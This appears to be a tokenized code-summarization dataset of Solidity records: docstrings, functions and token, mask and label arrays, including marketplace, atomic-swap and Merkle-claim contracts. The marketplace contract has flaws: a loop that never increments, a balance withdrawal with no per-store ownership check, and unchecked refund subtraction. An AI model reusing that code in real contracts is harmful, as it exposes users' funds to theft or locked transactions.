0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5411,
389,
8949,
273,
389,
8949,
18,
16411,
12,
21,
73,
2643,
2934,
2892,
12,
2163,
636,
2316,
682,
63,
20,
8009,
31734,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/10/0x02bD0b89F7b198014425Df1a4152A2E77576c38D/sources/src/interfaces/ITrigger.sol | * @dev The minimal functions a trigger must implement to work with the Cozy protocol./ | interface ITrigger is ITriggerEvents {
function state() external returns(CState);
function addSet(ISet set) external;
pragma solidity ^0.8.0;
}
| 3,778,158 | [
1,
1986,
16745,
4186,
279,
3080,
1297,
2348,
358,
1440,
598,
326,
7695,
21832,
1771,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
467,
6518,
353,
467,
6518,
3783,
288,
203,
225,
445,
919,
1435,
3903,
1135,
12,
39,
1119,
1769,
203,
203,
225,
445,
527,
694,
12,
45,
694,
444,
13,
3903,
31,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/80001/0x062292e464fc5A7dC1D00CC5dd214bC0efB65a1C/sources/Users/famousbirthdays/Sites/mb-contracts/contracts/MetaBoards.sol | /* @dev Set the game active/ | function setGameActive(bool _isActive) public onlyOwner {
gameActive = _isActive;
emit GameSetActive(gameId, _isActive);
}
| 8,804,677 | [
1,
19,
225,
1000,
326,
7920,
2695,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
444,
12496,
3896,
12,
6430,
389,
291,
3896,
13,
1071,
1338,
5541,
288,
203,
3639,
7920,
3896,
273,
389,
291,
3896,
31,
203,
3639,
3626,
14121,
694,
3896,
12,
13957,
548,
16,
389,
291,
3896,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity >=0.5.16<0.8.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./Administered.sol";
/// @title A simulator for Market Place
/// @author Aysha Amin
/// @notice You can use this contract for only the most basic simulation
contract Marketplace is Administered, Pausable, ReentrancyGuard{
using SafeMath for uint256;
struct Store{
int32 id;
string name;
address owner;
uint256 balance;
}
struct Product{
int32 id;
string name;
uint256 price;
int32 storeId;
State state;
address payable seller;
address payable buyer;
}
enum State{
ForSale,
Sold
}
mapping (int32 => Store) private stores;
mapping (int32 => Product) private products;
int32 private productCount;
int32 private storeCount;
constructor() public
{
/* Here, set the owner as the person who instantiated the contract
and set your idCount to 0. */
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
//_setupRole(MARKET_ADMIN_ROLE, msg.sender);
_setRoleAdmin(MARKET_ADMIN_ROLE, DEFAULT_ADMIN_ROLE);
_setRoleAdmin(STORE_OWNER_ROLE, MARKET_ADMIN_ROLE);
productCount=0;
storeCount=0;
}
event LogForSale(int32 id);
event LogSold(int32 id);
event LogStoreAdded (
int32 id,
string name,
address owner,
uint256 balance);
event LogProductAdded (
int32 id,
string name,
uint256 price,
int32 storeId);
event LogWithdrawStoreBalance(
int32 storeId,
uint256 amount
);
event LogPriceUpdated(
int32 id,
uint256 oldPrice,
uint256 newPrice
);
event ProductRemoved(int32 _productId);
event ProductsRemoved(int32 _storeId);
event StoreRemoved(int32 _storeId);
modifier forSale(int32 _productId){require(products[_productId].state == State.ForSale && products[_productId].price >= 0); _;}
modifier sold(int32 _productId){require(products[_productId].state == State.Sold && products[_productId].buyer != address(0)); _;}
modifier paidEnough(uint256 _price) { require(msg.value >= _price); _;}
modifier checkValue(int32 _productId) {
//refund them after pay for item (why it is before, _ checks for logic before func)
_;
uint256 _price = products[_productId].price;
uint256 amountToRefund = msg.value - _price ;
//uint256 amountToRefund = msg.value.sub(_price) ;
products[_productId].buyer.transfer(amountToRefund);
}
modifier onlyOwnerOfThisStore(int32 _storeId)
{
require(stores[_storeId].owner == msg.sender, "Restricted to onlyOwnerOfThisStore.");
_;
}
/// @dev Add a Store.
/// @param _name Name of Store to Add
/// @return The store added
function addStore(string memory _name)
onlyStoreOwner
whenNotPaused
public
returns(bool)
{
stores[storeCount] = Store({ id: storeCount,name: _name, owner: msg.sender, balance: 0});
++storeCount;
emit LogStoreAdded(storeCount, _name, msg.sender, 0);
return true;
}
/// @dev Get Store Count.
/// @return The count of the stores
function getStoreCount()
public
view
returns (int32) {
return storeCount;
}
/// @dev Get a Store.
/// @param _storeId ID of Store to Get
function getStore(int32 _storeId)
public
view
returns (int32 id,string memory name, address owner, uint256 balance) {
name = stores[_storeId].name;
owner = stores[_storeId].owner;
balance = stores[_storeId].balance;
return (_storeId,name, owner, balance);
}
/// @dev Remove a Store.
/// @param _storeId ID of Store to Remove
function removeStore(int32 _storeId)
onlyStoreOwner
whenNotPaused
public
{
removeStoreProducts(_storeId);
delete stores[_storeId];
emit StoreRemoved(_storeId);
}
/// @dev Add a product.
/// @param _name Name of product to Add
/// @param _price Price ID for product
/// @param _storeId Store ID for product to Add
function addProduct(string memory _name,uint256 _price,int32 _storeId)
onlyStoreOwner
whenNotPaused
public
returns(bool)
{
products[productCount] = Product({id: productCount, name: _name, price: _price, storeId:_storeId ,state: State.ForSale, seller: msg.sender, buyer: address(0)});
emit LogProductAdded(productCount, _name,_price, _storeId);
emit LogForSale(productCount);
++productCount;
return true;
}
/// @dev Get a product.
/// @param _productId ID of product to Get
function getProduct(int32 _productId)
public
view
returns (int32,string memory, uint256, int32,State) {
return ( products[_productId].id,
products[_productId].name,
products[_productId].price,
products[_productId].storeId,
products[_productId].state
);
}
/// @dev Get Product Count.
/// @return The count of the Products
function getProductCount()
public
view
returns (int32) {
return productCount;
}
/// @dev update a product.
/// @param _productId ID of product to Update
/// @param _price New Price ID for product
/// @param _storeId Store ID for product to Update
function updateProduct(int32 _productId, uint256 _price, int32 _storeId)
onlyStoreOwner
onlyOwnerOfThisStore(_storeId)
whenNotPaused
public {
uint256 oldPrice=products[_productId].price;
products[_productId].price=_price;
emit LogPriceUpdated(_productId, oldPrice, _price);
}
/// @dev Removes a product.
/// @param _storeId Store ID for product to remove
/// @param _productId ID of product to remove
function removeProduct(int32 _productId,int32 _storeId)
onlyStoreOwner
onlyOwnerOfThisStore(_storeId)
whenNotPaused
public
{
delete products[_productId];
emit ProductRemoved(_productId);
}
/// @dev Removes products from store.
/// @param _storeId Storefront ID for products to remove
function removeStoreProducts(int32 _storeId)
onlyStoreOwner
onlyOwnerOfThisStore(_storeId)
whenNotPaused
public
{
for(int32 i=0; i<productCount; i+1) {
if ( products[i].storeId == _storeId) {
delete products[i];
emit ProductRemoved(products[i].id);
}
}
emit ProductsRemoved(_storeId);
}
/// @dev Purchase a product.
/// @param _productId ID of product to Purchase
/// @return The Purchase Done
function purchaseProduct(int32 _productId)
public
payable
forSale(_productId)
paidEnough(products[_productId].price)
checkValue(_productId)
whenNotPaused
nonReentrant
returns(bool)
{
products[_productId].buyer = msg.sender;
products[_productId].state = State.Sold;
stores[products[_productId].storeId].balance+=products[_productId].price;
//stores[products[_productId].storeId].balance.add(products[_productId].price);
emit LogSold(_productId);
return true;
}
/// @dev Withdraw The Store Balance.
/// @param _storeId ID of Store to Withdraw
/// @return The Withdraw Done
function withdrawStoreBalance(int32 _storeId)
public
payable
onlyStoreOwner
whenNotPaused
nonReentrant
returns (bool)
{
require(stores[_storeId].balance > 0);
uint storeBalance = stores[_storeId].balance;
stores[_storeId].balance = 0;
msg.sender.transfer(storeBalance);
emit LogWithdrawStoreBalance(_storeId, storeBalance);
return true;
}
/// @dev Get Contract Balance.
/// @return Contract Balance
function getBalance()
public
view
returns (uint256)
{
return address(this).balance;
}
} | @dev Get Store Count. @return The count of the stores | function getStoreCount()
public
view
returns (int32) {
return storeCount;
}
| 7,219,038 | [
1,
967,
4994,
6974,
18,
327,
1021,
1056,
434,
326,
9064,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
15818,
1380,
1435,
7010,
225,
1071,
7010,
225,
1476,
7010,
225,
1135,
261,
474,
1578,
13,
288,
203,
565,
327,
1707,
1380,
31,
203,
225,
289,
7010,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.19;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract AtomicTokenSwap {
struct Swap {
uint expiration;
address initiator;
address participant;
address token;
uint256 value;
bool exists;
}
// maps the bytes20 hash to a swap
mapping(address => mapping(bytes20 => Swap)) public swaps;
// creates a new swap
function initiate(uint _expiration, bytes20 _hash, address _participant, address _token, uint256 _value) public {
Swap storage s = swaps[_participant][_hash];
// make sure you aren't overwriting a pre-existing swap
// (so the original initiator can't rewrite the terms)
require(s.exists == false);
// require that the sender has allowed the tokens to be withdrawn from their account
ERC20 token = ERC20(_token);
require(token.allowance(msg.sender, this) == _value);
token.transferFrom(msg.sender, this, _value);
// create the new swap
swaps[_participant][_hash] = Swap(_expiration, msg.sender, _participant, _token, _value, true);
}
function redeem(bytes32 _secret) public {
// get a swap from the mapping. we can do it directly because there is no way to
// fake the secret.
bytes20 hash = ripemd160(_secret);
Swap storage s = swaps[msg.sender][hash];
// make sure it's the right sender
require(msg.sender == s.participant);
// make sure the swap did not expire already
require(now < s.expiration);
// make sure the swap was not redeemed or refunded
require(s.exists);
// clean up and send
s.exists = false;
ERC20 token = ERC20(s.token);
token.transfer(msg.sender, s.value);
}
function refund(bytes20 _hash, address _participant) public {
Swap storage s = swaps[_participant][_hash];
require(now > s.expiration);
require(msg.sender == s.initiator);
// make sure the swap was not redeemed or refunded
require(s.exists);
s.exists = false;
ERC20 token = ERC20(s.token);
token.transfer(msg.sender, s.value);
}
} | maps the bytes20 hash to a swap | mapping(address => mapping(bytes20 => Swap)) public swaps;
| 12,764,197 | [
1,
10711,
326,
1731,
3462,
1651,
358,
279,
7720,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
2874,
12,
2867,
516,
2874,
12,
3890,
3462,
516,
12738,
3719,
1071,
1352,
6679,
31,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.7.4;
interface IFlashToken {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
function mint(address to, uint256 value) external returns (bool);
function burn(uint256 value) external returns (bool);
}
// A library for performing overflow-safe math, courtesy of DappHub: https://github.com/dapphub/ds-math/blob/d0ef6d6a5f/src/math.sol
// Modified to include only the essentials
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "MATH:: ADD_OVERFLOW");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "MATH:: SUB_UNDERFLOW");
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MATH:: MUL_OVERFLOW");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "MATH:: DIVISION_BY_ZERO");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
contract ClaimContract {
using MerkleProof for bytes;
using SafeMath for uint256;
enum MigrationType { V1_UNCLAIMED, HOLDER, STAKER }
address public constant FLASH_TOKEN_V1 = 0xB4467E8D621105312a914F1D42f10770C0Ffe3c8;
address public constant FLASH_TOKEN_V2 = 0x20398aD62bb2D930646d45a6D4292baa0b860C1f;
bytes32 public constant MERKLE_ROOT = 0x56dc616cf485d230be34e774839fc4b1b11b0ab99b92d594f7f16f4065f7e814;
uint256 public constant V1_UNCLAIMED_DEADLINE = 1617235140;
mapping(uint256 => uint256) private claimedBitMap;
event Claimed(uint256 index, address sender, uint256 amount);
function isClaimed(uint256 index) public view returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
